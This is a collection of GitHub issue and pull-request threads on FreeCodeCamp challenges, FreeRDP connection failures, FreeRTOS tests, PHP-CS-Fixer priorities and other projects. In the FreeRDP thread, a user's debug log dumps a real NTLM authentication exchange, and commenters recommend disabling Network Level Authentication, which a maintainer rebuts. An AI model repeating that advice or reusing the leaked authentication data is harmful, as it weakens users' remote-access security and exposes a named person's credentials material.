text:
What is it that I'm doing wrong?

Challenge Use CSS Selectors to Style Elements has an issue.
User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2.
Please describe how to reproduce this issue, and include links to screenshots if possible.
My code:

Kitty ipsum dolor sit amet, shed everywhere shed everywhere stretching attack your ankles chase the red dot, hairball run catnip eat the grass sniff.

This is the correct solution

CatPhotoApp

Kitty ipsum dolor sit amet, shed everywhere shed everywhere stretching attack your ankles chase the red dot, hairball run catnip eat the grass sniff.

Please use the Help chat room for getting challenge related help. Happy Coding!

authors: DaMexican atjonathan computerluca

repo: FreeCodeCamp/FreeCodeCamp


text:
Waypoint Use Comments to Clarify Code - Test does not catch multiple comments

http://www.freecodecamp.com/challenges/waypoint-use-comments-to-clarify-code
supposed to create a specific comment. does not check proper comment syntax. The following code passes even though the comment syntax is wrong and it is rendering the intended comment as text:

jQuery Playground

#left-well

        <button class="btn btn-default target" id="target1">#target1</button>
        <button class="btn btn-default target" id="target2">#target2</button>
        <button class="btn btn-default target" id="target3">#target3</button>

#right-well

        <button class="btn btn-default target" id="target4">#target4</button>
        <button class="btn btn-default target" id="target5">#target5</button>
        <button class="btn btn-default target" id="target6">#target6</button>

Confirmed.
Tests should likely be updated to check for one and only one comment opener and comment closer.
Possibly test for the presence of the text between the comment markers.  Don't want too ugly of a Regex, though.

Seems like a fun regex problem. If someone else really wants it they can take it, but if not I'd like to work on this tonight.

Haha - you can have dibs.  Hope you have your COM1000 up and running.

source: gharchive/issue

authors: SaintPeter ltegman smiller171

license_type: permissive

license_source: github-api


text:
only helper :D

only helper :D

Please do not make Github issues unless you are reporting a bug.


text:
Stand in Line

Challenge Stand in Line has an issue.
User Agent is: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36.
Please describe how to reproduce this issue, and include links to screenshots if possible.
My code:

function nextInLine(arr, item) {
  // Your code here
  arr.push(item);
  arr.shift([0]);
  return item;  // Change this line
}

// Test Setup
var testArr = [1,2,3,4,5];

// Display Code
console.log("Before: " + JSON.stringify(testArr));
console.log(nextInLine(testArr, 6)); // Modify this line to test
console.log("After: " + JSON.stringify(testArr));

@dungtran211096 Can you please provide more information regarding this issue

@dungtran211096 your code is incorrect. Please review how to use the .shift() method. If you get stuck with a challenge, please first ask questions to the Help Room. Happy coding!

authors: Bouncey dungtran211096 erictleung mytreasures


text:
Update my older freerdp commit

hey, i was just wondering if i was working on a older commit of freerdp, and i can update it to the latest master without having over writing my fixes i had for the older freerdp core files..?
is that possible?..
this url link is the comparison of the master and the one i am using..
https://github.com/FreeRDP/FreeRDP/compare/90936e64845195e5bea396ed90c63635cce2f0a3...master

@shattars3d I would recommend to read some howto or book on git.
Depending on what you want todo you can either just merge the latest master changes ore rebase your changes onto master. In both cases if there a conflicting changes you need to resolve the conflict.
If you need help join our irc channel or send a mail to the mailing list but pleas don't use the issue tracker as help forum.

repo: FreeRDP/FreeRDP


text:
Connection from linux to Windows 10 not working after latest Win10 update (ERRCONNECT_CONNECT_TRANSPORT_FAILED)

After a reboot due to an update last week, I can no longer connect to my Windows 10 Professional computer from my linux computer using xfreerdp.
I get the following output when trying to connect using the latest version from git (2a3e9996):
[09:19:16:178] [21254:21255] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 104: Connection reset by peer
[09:19:16:178] [21254:21255] [ERROR][com.freerdp.core] - freerdp_set_last_error ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x2000D]
[09:19:16:178] [21254:21255] [ERROR][com.freerdp.client.x11] - Freerdp connect error exit status 1
This was with a simple command line with /u: and /v:. I have tried with /gt:rpc as well because I've seen somewhere else, but it didn't work.
Note that I can connect to this Windows 10 machine using the Remote Desktop Connection application in Windows XP, and xfreerdp is able to connect to the windows XP machine.
Winver.exe on the Windows 10 machine reports: Version 1511 (OS Build 10586.104).
Let me know if there's anything else that I can do.

I can also note that the connection works fine with the 'rdesktop' utility.

@awdAvenger i this via a gateway? Otherwise /gt wont bring anything. I just tested against a windows 10 test machine and did't see this problem.
Can you check if you see any error in the windows log after connecting? Also it might help us if you run xfreerdp with the environment variable WLOG_LEVEL set to DEBUG:
WLOG_LEVEL=DEBUG

Also no issue here connecting to Windows 10 V.1511 Build 10586.104, neither with 2a3e999 nor with current master (b4b8239)

This is not though a gateway, it's just a simple Win 10 Pro laptop, connected to a domain.
The output from xfreerdp with DEBUG is:
$ WLOG_LEVEL=DEBUG xfreerdp /u:JOTRON\knutid /v:knutid-laptop
[09:44:47:990] [10115:10115] [DEBUG][com.freerdp.client.common.cmdline] - windows: 0/1 posix: -1000/0 compat: 1/0
[09:44:47:993] [10115:10116] [DEBUG][com.freerdp.client.x11] - Searching for XInput pointer device
[09:44:47:993] [10115:10116] [DEBUG][com.freerdp.client.x11] - Pointer device: 10
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - Enabling security layer negotiation: TRUE
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - Enabling restricted admin mode: FALSE
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - Enabling RDP security: TRUE
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - Enabling TLS security: TRUE
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - Enabling NLA security: TRUE
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - Enabling NLA extended security: FALSE
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - state: NEGO_STATE_NLA
[09:44:47:994] [10115:10116] [DEBUG][com.freerdp.core.nego] - Attempting NLA security
[09:44:47:018] [10115:10116] [DEBUG][com.freerdp.core.nego] - RequestedProtocols: 3
[09:44:47:021] [10115:10116] [DEBUG][com.freerdp.core.nego] - RDP_NEG_RSP
[09:44:47:021] [10115:10116] [DEBUG][com.freerdp.core.nego] - selected_protocol: 2
[09:44:47:021] [10115:10116] [DEBUG][com.freerdp.core.nego] - state: NEGO_STATE_FINAL
[09:44:47:021] [10115:10116] [DEBUG][com.freerdp.core.nego] - Negotiated NLA security
[09:44:47:021] [10115:10116] [DEBUG][com.freerdp.core.nego] - nego_security_connect with PROTOCOL_NLA
[09:44:47:030] [10115:10116] [DEBUG][com.winpr.utils] - Could not open SAM file!
Password:
[09:44:52:034] [10115:10116] [DEBUG][com.winpr.sspi] - InitSecurityInterfaceExA
[09:44:52:034] [10115:10116] [DEBUG][com.freerdp.core.nla] - Sending Authentication Token
[09:44:52:034] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0000 4e 54 4c 4d 53 53 50 00 01 00 00 00 b7 82 08 e2 NTLMSSP.........
[09:44:52:034] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[09:44:52:034] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0020 06 01 b1 1d 00 00 00 0f                         ........
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - Sending Authentication Token
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0000 4e 54 4c 4d 53 53 50 00 03 00 00 00 18 00 18 00 NTLMSSP.........
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0010 78 00 00 00 30 01 30 01 90 00 00 00 0c 00 0c 00 x...0.0.........
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0020 58 00 00 00 0c 00 0c 00 64 00 00 00 08 00 08 00 X.......d.......
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0030 70 00 00 00 10 00 10 00 c0 01 00 00 35 b2 88 e2 p...........5...
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0040 06 01 b1 1d 00 00 00 0f af 62 f8 f2 a5 de 14 70 .........b.....p
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0050 17 46 60 e6 8b 06 92 78 4a 00 4f 00 54 00 52 00 .F`....xJ.O.T.R.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0060 4f 00 4e 00 6b 00 6e 00 75 00 74 00 69 00 64 00 O.N.k.n.u.t.i.d.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0070 6e 00 6f 00 6e 00 65 00 47 a9 da 2b d1 05 86 59 n.o.n.e.G..+...Y
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0080 ac f5 16 c9 b4 f6 ad 09 4e 96 36 3a 3c ef b0 d1 ........N.6:<...
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0090 2a bd 2d 3b ac ba 22 65 9d 18 3d 30 31 1f 01 67 .-;.."e..=01..g
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 00a0 01 01 00 00 00 00 00 00 4c ac 94 9f 96 73 d1 01 ........L....s..
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 00b0 4e 96 36 3a 3c ef b0 d1 00 00 00 00 02 00 0c 00 N.6:<...........
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 00c0 4a 00 4f 00 54 00 52 00 4f 00 4e 00 01 00 1a 00 J.O.T.R.O.N.....
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 00d0 4b 00 4e 00 55 00 54 00 49 00 44 00 2d 00 4c 00 K.N.U.T.I.D.-.L.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 00e0 41 00 50 00 54 00 4f 00 50 00 04 00 18 00 4a 00 A.P.T.O.P.....J.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 00f0 6f 00 74 00 72 00 6f 00 6e 00 2e 00 6c 00 6f 00 o.t.r.o.n...l.o.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0100 63 00 61 00 6c 00 03 00 34 00 6b 00 6e 00 75 00 c.a.l...4.k.n.u.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0110 74 00 69 00 64 00 2d 00 6c 00 61 00 70 00 74 00 t.i.d.-.l.a.p.t.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0120 6f 00 70 00 2e 00 4a 00 6f 00 74 00 72 00 6f 00 o.p...J.o.t.r.o.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0130 6e 00 2e 00 6c 00 6f 00 63 00 61 00 6c 00 05 00 n...l.o.c.a.l...
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0140 18 00 4a 00 6f 00 74 00 72 00 6f 00 6e 00 2e 00 ..J.o.t.r.o.n...
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0150 6c 00 6f 00 63 00 61 00 6c 00 07 00 08 00 4c ac l.o.c.a.l.....L.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0160 94 9f 96 73 d1 01 06 00 04 00 02 00 00 00 0a 00 ...s............
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0170 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0180 00 00 09 00 2a 00 54 00 45 00 52 00 4d 00 53 00 .....T.E.R.M.S.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 0190 52 00 56 00 2f 00 6b 00 6e 00 75 00 74 00 69 00 R.V./.k.n.u.t.i.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 01a0 64 00 2d 00 6c 00 61 00 70 00 74 00 6f 00 70 00 d.-.l.a.p.t.o.p.
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 01b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[09:44:52:036] [10115:10116] [DEBUG][com.freerdp.core.nla] - 01c0 29 a6 82 81 50 78 6d 3c c0 13 b9 24 2c 1d f1 93 )...Pxm<...$,...
[09:44:55:976] [10115:10116] [ERROR][com.freerdp.core.transport] - BIO_read returned a system error 104: Connection reset by peer
[09:44:55:976] [10115:10116] [DEBUG][com.freerdp.core.transport] - transport_check_fds: transport_read_pdu() - -1
[09:44:55:976] [10115:10116] [DEBUG][com.freerdp.core.rdp] - transport_check_fds() - -1
[09:44:55:976] [10115:10116] [ERROR][com.freerdp.core] - freerdp_set_last_error ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x2000D]
[09:44:55:976] [10115:10116] [ERROR][com.freerdp.client.x11] - Freerdp connect error exit status 1
On the windows side, I get an Audit Success message in the Security logs with a Login and then a Logoff right after that. Nothing else can be seen in the event viewer.

Shoudn't you escape the domain separator?  Maybe simply try xfreerdp /u:knutid /d:JOTRON

I actually did escape it, not sure why that didn't show on the pasting. I tried with /d: as well, but it still doesn't work and I don't think it's directly related to authentication credentials, as Windows says it has authenticated successfully.

Since you have a working and non-working revision you could use git bisect to identify the bad commit.

Well, they are different applications, I know freerdp is a fork of rdesktop, but I think going back that far probably won't be helpful?
I compared Wireshark output of rdesktop and freerdp and found that both receive the same RST from Windows, but the rdesktop application then initiates another connection which then proceeds to complete the connection process. I cannot make much sense of the actual data sent though, as most appears to be binary structures and/or encrypted.

@awdAvenger just to clarify FreeRDP < 1.0 was initially a fork but with 1.0 FreeRDP it was completely rewritten from scratch.
Regarding your problem can you try with /sec:rdp and/or with /sec:tls?

With /src:rdp and /sec:tls it works!

@awdAvenger so it seems that there is a problem with NLA in your case.

So it would appear. I can work with the other security protocols, so thanks a lot for your help. If you decide to track down this issue more, let me know if you need some additional information.

@awdAvenger may I ask what client you are on (distribution, system architecture)?

@awdAvenger Do you also have the issue if you log on as a local user instead of a domain user? (Use something like xfreerdp /u:knutid /d:knutid-laptop /v:knutid-laptop. Also what have you configured in System Properties -> Remote Tab ?

@awdAvenger You might also want to post a registry dump of the following key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

I am on Arch Linux 64 bit, I used the package in the repositories, but I also tried to build the package from git. I tried to downgrade the package but it did not help, so I am pretty confident that that the change happened on the Windows side, unless a library freerdp depends on changed.
In the remote settings I have allowed remote connections and have not checked the 'Allow connections only from computers running with NLA'. No change from the defaults have been done to the users list. It says my user has access and the list is empty.
Connecting as my non-domain user works as well, even with NLA security.
I have attached the registry dump as requested.
regdump.zip

@awdAvenger thx, this reg key is fine. However, if it works with a local user you seem to have some domain policies in place. Ask your Domain Administrator and/or run rsop.msc (elevated) to check the applied policies. Concentrate on entries under Computer Configuration -> Administrative Templates -> Windows Compnents -> Remote Desktop Services

@awdAvenger @nfedera
I've already encountered such behaviour and indeed it had something to do with session allowed only on specific workstations.
In dsa.msc -> User properties window -> Account Tab -> Log on to
See
https://msdn.microsoft.com/en-us/library/bb742516.kerb02_big(l=en-us).gif
and
http://windowsitpro.com/site-files/windowsitpro.com/files/archive/windowsitpro.com/content/content/104709/fig4_this_user_can_log_on_to.jpg
I've just tested it with a Windows 2012 R2 DC and a Windows 7 Entreprise.
If I put the netbios name of the workstation and I cannot login anymore using NLA (ERRCONNECT_TRANSPORT_FAILED).
If I use rdp, it works.

@HenryJacques Thanks! Confirmed. @awdAvenger can you also confirm that this setting is enabled for your user? @HenryJacques However, even with Windows mstsc I'm not able to login via NLA if "Logon to .." is configured.

I will try to check the user settings for my user. In the mean time, I can tell that I don't know if rdesktop used NLA at all. And the remote client on windows that worked was on Windows XP, and I don't think NLA is supported on that either.

@nfedera with mstsc I cannot use NLA myself.
What kind of error do you have?
I've created a rdp file to configure specific option with mstsc:

with negotiate security layer:i:0 I get an error message and cannot connect at all
with negotiate security layer:i:1 I get no error, the remote session starts but do not automatically login. Instead I have the Windows session prompt. I have to re-enter the password and then it works

@awdAvenger rdesktop doesn't support NLA.
Windows XP SP3 supports NLA but not from scratch, you have to do a special configuration.
See https://support.microsoft.com/en-en/kb/951608

@nfedera to complete my previous post, I ran a wireshark session and I saw that mstc talks directly to the DC. I get a Kerberos Error (STATUS_INVALID_WORKSTATION) in both cases.
If negotiate security layer:i:1 is set, it only fall back to standard RDP security.

@HenryJacques mstsc under Windows 10 shows better error messages. If I rdp from Windows 10 domain workstation A to win10 domain workstation B and the user has only A in the "Logon to" list mstsc reports: `The system administrator has limited the computers you can log on with. Try logging on at a different computer``. This does not seem to make any sense because the computer B is in the list. If I add both computers A and B to the "Logon to" list it works however.

It even works for non-domain, non-windows clients. If I add both, the target computer (in domain) and the dns name of a (non domain) linux machine, to a user's "Logon To ..." list in dsa.msc,  xfreerdp /sec:nla from this linux pc to that windows 10 domain computer works perfectly fine.
So I guess we can close this issue - @awdAvenger ok ?

@nfedera great finding! I'd never had thought to put the A computer in the allowed workstations list. Maybe in Microsoft's mind if you want to login on B and you're logged on A (with the same account though), you have to be able to open a session on A first...
I also have the same conclusion concerning your very last post, I can make it work with Linux and xfreerdp. If I put the hostname of my linux client in the authorized workstations list.
However, I think there is a bug: I use the /hostname:XXX option, and setting XXX in the workstation list doesn't work. I have to put the real hostname.

@HenryJacques elaborate on the last sentence. There is no /hostname: option

@nfedera sorry ;) I meant the /client-hostname: option

@HenryJacques Ok, you were trying to fake it. It would have been embarrassing (for MS) if that actually worked. I don't think this is a bug ;)

@nfedera Ok, this option is just meant as a fake? I used it in conjunction with the /drive: so that there is "friendly" name.
So, this is a normal behaviour for you?

@HenryJacques In the client core data block (https://msdn.microsoft.com/en-us/library/cc240510.aspx)  you can see the clientName field which is describe as "name of the client computer.".  FreeRDP sets this value to the hostname here and overwrites it here if /client-hostname is specified.  So this isn't a secure setting and should not be trusted on the server and only be used as a client provided friendly name.  And yes, for me it is normal behaviour that the server gives the peer name/address of the connection priority over the name the client says that he has.

Seems that this is not a FreeRDP bug, closing this issue.
@awdAvenger if it turns out it wasn't the problem you where hitting please re-open.

@nfedera thanks for the clarification!

For people who may have this kind of issue:
In your Windows 10 Machine, Go to: System Properties > Remote > Uncheck "Allow connections only from computers running Remote Desktop with Network Level Authentication (recommended)"
Then in your linux machine's terminal, type:
xfreerdp /sec:tls /u: /v:
I have this kind of issue for a very very long time, and disabling NLA in my windows local machine, and forcing connection to TLS solves my problem.
I like to use xfreerdp because it has multi-monitor support, unlike remmina.
Hope this helps everyone.

For people who may have this kind of issue:
In your Windows 10 Machine, Go to: System Properties > Remote > Uncheck "Allow connections only from computers running Remote Desktop with Network Level Authentication (recommended)"
Then in your linux machine's terminal, type:
xfreerdp /sec:tls /u:{username} /v:{IP}
I have this kind of issue for a very very long time, and disabling NLA in my windows local machine, and forcing connection to TLS solves my problem.
I like to use xfreerdp because it has multi-monitor support, unlike remmina.
Hope this helps everyone.

Thanks for the hint. But does it not mean that we are disabling the recommended settings for Remote-Connection on Windows Server?

In my case, i just configure the RDP settings on Windows with Services, starting the Remote Access Auto Connection Manager service. After that i can using FreeRDP or other Linux RDP apps to connect on Windows.

since I´ve been reminded due to comments to this issue:

DO NOT DISABLE NLA  if you do not have a very good reason for that. FreeRDP works fine with it, if you have issues check your network and credentials first.

For the newbies, like me:
The reason that you'll get an "BIO_read returned a system error 104: Connection reset by peer" error right after "Sending Authentication Token / Client: Sending PubKeyAuth Token" might be in wrong credentials. Check them carefully one more time.
P.S.: Download freerdp through homebrew might be a bad idea, cause homebrew tries to download a half of the internet to satisfy all of dependencies. Using vm with Desktop Ubuntu (for example) safe a lot time for you.

authors: HenryJacques akallabeth awdAvenger bmiklautz ghabxph gtjbtits nfedera olucaslrc sachinh1980


text:
RDP through an http proxy that does not support socks5

I am attempting to connect to a RDP host through a HTTP Public Proxy and from the xfreerdp manual it says I need to specify socks5:// instead of http:// when attempting to connect to a HTTP proxy, but I've been told the proxy I'm connecting through does not support socks5 - is there a way to force xfreerdp to use http proxies that uses HTTP CONNECT instead of SOCKS ? Thanks!
This is FreeRDP version 2.1.1 (n/a)

Which manual are you referring to? Here is help output for xfreerdp:
/proxy:[<proto>://][<user>:<password>@]<host>:<port>
                                      Proxy settings: override env. var (see
                                      also environment variable below). Protocol
                                      "socks5" should be given explicitly where
                                      "http" is default.

@akallabeth I'm referring to that manual, correct

@rvigliotti-sf please add some log, your usage of crash indicates you mean something different.
Also note that 2.1.1 is a very old release of the 2.0 series.

This is using SOCKS5

This is using HTTP (thats what I mean by crash)

@rvigliotti-sf ok. You tried a newer release already? (there were 10 bugfix releases in between)

@akallabeth not yet, I will update this one once I've updated - thanks!

@rvigliotti-sf also please note for asking questions please contact us on matrix/irc first, it might already be answered elsewhere. (see https://freerdp.com for addresses)

authors: akallabeth rvigliotti-sf


text:
Adding CredSSP with Early User Auth support (sec:ext)

Recently I wasn't able to connect to my work servers using FreeRDP.
After digging I found that without using /sec:ext the server was closing the connection.
But with the command line switch it wasn't working, I found out that HYBRID_EX wasn't handled in nego.c.
Afterward I found out that we were receiving 4 bytes between the end of NLA and the MCS connect, I found out that it was the Early User Auth Result PDU (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/d0e560a3-25cb-4563-8bdc-6c4cc625bbfc).
I don't know RDP protocol neither the FreeRDP source code but I attempted to add support the best I can, trying to respect the way the code is architectured and using clang_format on the modified sources.
With this patch I can now connect to my work servers again, if it can help other people then I'm happy to share the patch.

@freerdp-bot test please

LGTM, nice patch, thank you for your contribution!
if you could squash the commits into one and fix the (minor) remarks it would be really great!

ok I fixed everything and squashed it

Fix my remark and we're ok (we'll ask for test bots after that)

@freerdp-bot can you test buddy ?

I've fixed the wrong indentation for the enum

@freerdp-bot test please

@freerdp-bot test please

source: gharchive/pull-request

authors: akallabeth hardening hlefebvre


text:
Add unit test for FreeRTOS SMP

Description

Add unit test for FreeRTOS SMP

Checklist:

[x] I have tested my changes. No regression in existing tests.
[x] I have modified and/or added unit-tests to cover the code changes in this Pull Request.

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

The line and function coverage rate is higher than single core. The branch coverage drops 2% due to new update to kernel.
This will be fixed with new PR.
Single core coverage

Filename
--
--
Line Coverage
--
Functions
--
Branches
--

event_groups.c

94.4 %
186 / 197
100.0 %
16 / 16
72.0 %
72 / 100

list.c

100.0 %
41 / 41
100.0 %
5 / 5
100.0 %
6 / 6

queue.c

93.1 %
772 / 829
100.0 %
49 / 49
97.0 %
456 / 470

stream_buffer.c

100.0 %
329 / 329
100.0 %
26 / 26
95.0 %
190 / 200

tasks.c

95.7 %
870 / 909
96.1 %
73 / 76
94.9 %
444 / 468

timers.c

100.0 %
244 / 244
100.0 %
30 / 30
96.2 %
76 / 79

**SMP coverage **

Filename
--
--
Line Coverage
--
Functions
--
Branches
--

event_groups.c

95.7 %
176 / 184
100.0 %
16 / 16
72.0 %
72 / 100

list.c

100.0 %
40 / 40
100.0 %
5 / 5
100.0 %
6 / 6

queue.c

93.1 %
772 / 829
100.0 %
49 / 49
97.0 %
456 / 470

stream_buffer.c

94.2 %
310 / 329
100.0 %
26 / 26
95.0 %
190 / 200

tasks.c

98.7 %
1502 / 1522
99.0 %
99 / 100
92.9 %
1015 / 1092

timers.c

100.0 %
244 / 244
100.0 %
30 / 30
96.2 %
76 / 79

It looks good to me. Could you help elaborate more about the difference between multiple_priorities_no_timeslice_mock and multiple_priorities_no_timeslice?

Thank you for the feedback. I added a README.md file to describe the folder structure and naming convention.

repo: FreeRTOS/FreeRTOS

license: MIT


text:
Update Help page for new Records section pages

Have received updated text from @AnneV-Learn:
"Select RECORDS from the main menu to see statistics relating to the number of census Pieces currently in the database for each census year and details of recent additions (i.e. Pieces added to the database in the previous 30 days). Censuses are broken into Pieces by the National Archive (a Piece consists of a related set of census pages). From here you can choose a county and view the statistics for that county or select a specific place in the county and view that detail. At the County and Place level you can view details of the Pieces (including Civil Parish names). Where a Piece is online (i.e. has been transcribed by our volunteers and uploaded into the database) you can also get a list of names (surnames/forenames) in the database. We hope this detail will help you to refine your SEARCH criteria to get the best from the database."
Work in progress on DRAFT Help.

@AnneV-Learn With a few tweaks to the text as given, the 'Database contents' section has been updated on t3:
https://test3.freecen.org.uk/cms/draft-help#dbContents

Thank you @AlOneill, it looks good to me

Page promoted. It is sync-ready.

Looks ok to me so probably ready for deployment now.

authors: AlOneill AnneV-Learn

repo: FreeUKGen/FreeCENMigration

license_source: bigquery


text:
关于指令数据

您好！我认真的读了您的论文：HuatuoGPT, towards Taming Language Model to Be a Doctor
您的论文写的太棒了，对我来说前两张可以作为一篇医疗的综述，而后面几个章节可以作为研究。
对于第三章节Methodology中的 SFT with Hybrid Data。您提到Distilled Instructions from ChatGPT，我想问一下这部分作用是什么？我用了您提供的prompt生成了几条例句

这部分数据也是和问答数据一样直接喂给模型吗
还是说拿到input和Instruction后，将其拼接起来给gpt让他生成回复 构建问答数据集

@YJSoooooo 你好：
Distilled Instructions from ChatGPT是获取更多instruction数据的方式，参考了Self-instruct方法。
你说的是对的，拿到input和Instruction后，将其拼接起来给gpt让他生成回复并构建问答数据集。

authors: StevenZHB YJSoooooo

repo: FreedomIntelligence/HuatuoGPT


text:
🛑 Git Sekretariat-DJPb is down

In 6e0ea8e, Git Sekretariat-DJPb (https://git.setditjen-djpb.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Git Sekretariat-DJPb is back up in ccf8b65.

repo: FrideyAlpha/uptime-setditjen


text:
🛑 API (AppWrite) Sekretariat-DJPb is down

In 0e7c14a, API (AppWrite) Sekretariat-DJPb (https://appwrite.setditjen-djpb.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: API (AppWrite) Sekretariat-DJPb is back up in d99de73.


text:
Client does not support keys containing "spaces"

Keys like "submit button" are not supported.
Translation asset is created (its sent in POST body), but when we try to add translation it fails:
Translation.php:62
$response = $this->httpPostRaw(sprintf('/api/translations/%s/%s?key=%s', urlencode($id), $locale, $projectKey), $translation);
this becomes:
/api/translations/some translation key/pl?key=12
Request that is actually beeing sent is directed to:
/api/translations/some
... and that results in an error response from api: "Missing API key"
This might be related to how the http client implementation handles such cases, I used the php-http/curl-client.
PR is on the way.

Fixed by #20

authors: Nyholm jkobus

license: mit


text:
Fix strict_param when importing

Ref #3599
closes #3599

thanks @ntzm looking good :)
I would place the check before calling fixFunction as here we are not fixing a function but dealing with an import,
in other words; for single responsibility principle sense leaving fixFunction to fix a function and the caller being responsible for detecting if it is a function that needs fixing (hope it makes sense ;) )

Ah thanks @SpacePossum, that's a good point. Will do

Thank you @ntzm.

authors: SpacePossum keradus ntzm

repo: FriendsOfPHP/PHP-CS-Fixer


text:
BacktickToShellExecFixer - add priority relation to NativeFunctionInvocationFixer and SingleQuoteFixer

This is actually a bug fix, because at 2.16 NativeFunctionInvocationFixer has priority 10, which is greater that BacktickToShellExecFixer priority (2).
So, for the person who will be merging this up to 2.16: on the conflict in NativeFunctionInvocationFixer for priorities 10 and 1 - choose 1 or tests would fail.

This PR doesn't take into account the new level of this fixer on the master branch. Can this level be adjusted so that its priority is correct wrt the GlobalNamespaceImportFixer fixer?

So you need BacktickToShellExecFixer: 12, SingleQuoteFixer: 11, NativeFunctionInvocationFixer: 10.

Why? What's wrong with what I wrote in the first comment?

Because if you apply your changes to the 2.17.x version (master), the integration tests fail.

The priorities I provided work on all branches upwards and including 2.15.x.

Because if you apply your changes to the 2.17.x version (master), the integration tests fail.

Which test exactly?

The priorities I provided work on all branches upwards and including 2.15.x.

I don't think so. You want SingleQuoteFixer to have priority 11 and it must run after EscapeImplicitBackslashesFixer, EscapeImplicitBackslashesFixer has priority 1 and last time I've checked 11 is greater than 1 ;)

Well, with those values I have set, all the integration tests pass, including the new ones in this PR. If there is still an issue, it is missing a test?

Well, with those values I have set, all the integration tests pass

No, they don't, I've explained the reason in the previous comment.

No, they don't, I've explained the reason in the previous comment.

Well, they do, because I ran them?

Well, they do

Well, they don't, see: https://github.com/FriendsOfPHP/PHP-CS-Fixer/pull/5071

Hmm, well more specifically, the tests pass after I applied the following PRs, plus the changes I described:

Oh, sorry! Leave the single quote fixer at priority 0.

This is the src diff I applied (plus the tests changes from this PR):
diff --git a/src/Fixer/Alias/BacktickToShellExecFixer.php b/src/Fixer/Alias/BacktickToShellExecFixer.php
index 09d63df50e834bad0e8bfa418bdb6e92e6079eca..a01b7c99d11ec2b82393ef3daa8421f14769056c 100644
--- a/src/Fixer/Alias/BacktickToShellExecFixer.php
+++ b/src/Fixer/Alias/BacktickToShellExecFixer.php
@@ -56,11 +56,11 @@ public function getDefinition()
     /**
      * {@inheritdoc}
      *
-     * Must run before EscapeImplicitBackslashesFixer, ExplicitStringVariableFixer.
+     * Must run before EscapeImplicitBackslashesFixer, ExplicitStringVariableFixer, NativeFunctionInvocationFixer, SingleQuoteFixer.
      */
     public function getPriority()
     {
-        return 2;
+        return 12;
     }

     /**
diff --git a/src/Fixer/FunctionNotation/NativeFunctionInvocationFixer.php b/src/Fixer/FunctionNotation/NativeFunctionInvocationFixer.php
index e118e066205d98a266aa2ce937dac678507f87e9..7ad76a832de3b3198c9ad60a6557aeec00781b4f 100644
--- a/src/Fixer/FunctionNotation/NativeFunctionInvocationFixer.php
+++ b/src/Fixer/FunctionNotation/NativeFunctionInvocationFixer.php
@@ -164,7 +164,7 @@ function baz($options)
      * {@inheritdoc}
      *
      * Must run before GlobalNamespaceImportFixer.
-     * Must run after StrictParamFixer.
+     * Must run after BacktickToShellExecFixer, StrictParamFixer.
      */
     public function getPriority()
     {
diff --git a/src/Fixer/StringNotation/SingleQuoteFixer.php b/src/Fixer/StringNotation/SingleQuoteFixer.php
